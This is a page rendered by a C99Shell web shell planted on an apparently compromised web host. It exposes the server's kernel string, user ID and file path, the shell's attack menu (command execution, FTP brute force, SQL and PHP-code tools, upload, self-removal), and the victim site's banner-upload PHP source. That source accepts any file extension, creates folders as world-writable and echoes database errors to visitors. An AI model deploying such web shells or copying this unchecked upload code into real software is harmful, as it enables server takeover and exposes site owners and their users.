!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/actions/   drwxr-xr-x
Free 3291.27 GB of 8044.26 GB (40.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     insert_banner.php (2.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('../include/conn.php');
ini_set('display_errors'1);
error_reporting(E_ALL);

if (isset(
$_POST['banner_submit'])) {
    
$banner_title mysqli_real_escape_string($conn$_POST['banner_title']);
    
$ban_id = isset($_POST['ban_id']) ? intval($_POST['ban_id']) : 0;
    
$banner_image $_FILES['banner_image'];

    
$image_paths '';
    
$new_image_uploaded = ($banner_image['error'] === UPLOAD_ERR_OK);

    if (
$new_image_uploaded) {
        
$unique_identifier uniqid();
        
$file_extension pathinfo($banner_image['name'], PATHINFO_EXTENSION);
        
$unique_filename 'art_pic' $unique_identifier '.' $file_extension;
        
$destination_folder '../upload/banners/';

        if (!
file_exists($destination_folder)) {
            
mkdir($destination_folder0777true);
        }

        
$image_path $destination_folder $unique_filename;
        
$image_paths str_replace('../'''$image_path);

        if (!
move_uploaded_file($banner_image['tmp_name'], $image_path)) {
            echo 
"Error moving uploaded file.";
            exit();
        }
    }

    if (
$ban_id 0) {
        
// Update existing banner
        
if ($new_image_uploaded) {
            
$update_sql "UPDATE `banners` SET `ban_title`='$banner_title', `ban_image`='$image_paths' WHERE `ban_id`=$ban_id";
        } else {
            
$update_sql "UPDATE `banners` SET `ban_title`='$banner_title' WHERE `ban_id`=$ban_id";
        }

        
$qry_result mysqli_query($conn$update_sql);

        if (
$qry_result) {
            echo 
"<script>alert('Banner updated successfully!');</script>";
        } else {
            echo 
"Error: " $update_sql "<br>" mysqli_error($conn);
        }

    } else {
        
// Insert new banner
        
if (!$new_image_uploaded) {
            echo 
"<script>alert('Please upload an image for new banner');</script>";
            exit();
        }

        
$insert_sql "INSERT INTO `banners` (`ban_title`, `ban_image`, `created_at`) VALUES ('$banner_title', '$image_paths', NOW())";
        
$qry_result mysqli_query($conn$insert_sql);

        if (
$qry_result) {
            echo 
"<script>alert('Banner inserted successfully!');</script>";
        } else {
            echo 
"Error: " $insert_sql "<br>" mysqli_error($conn);
        }
    }

    echo 
"<script>window.location.href ='../banners.php';</script>";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0115 ]--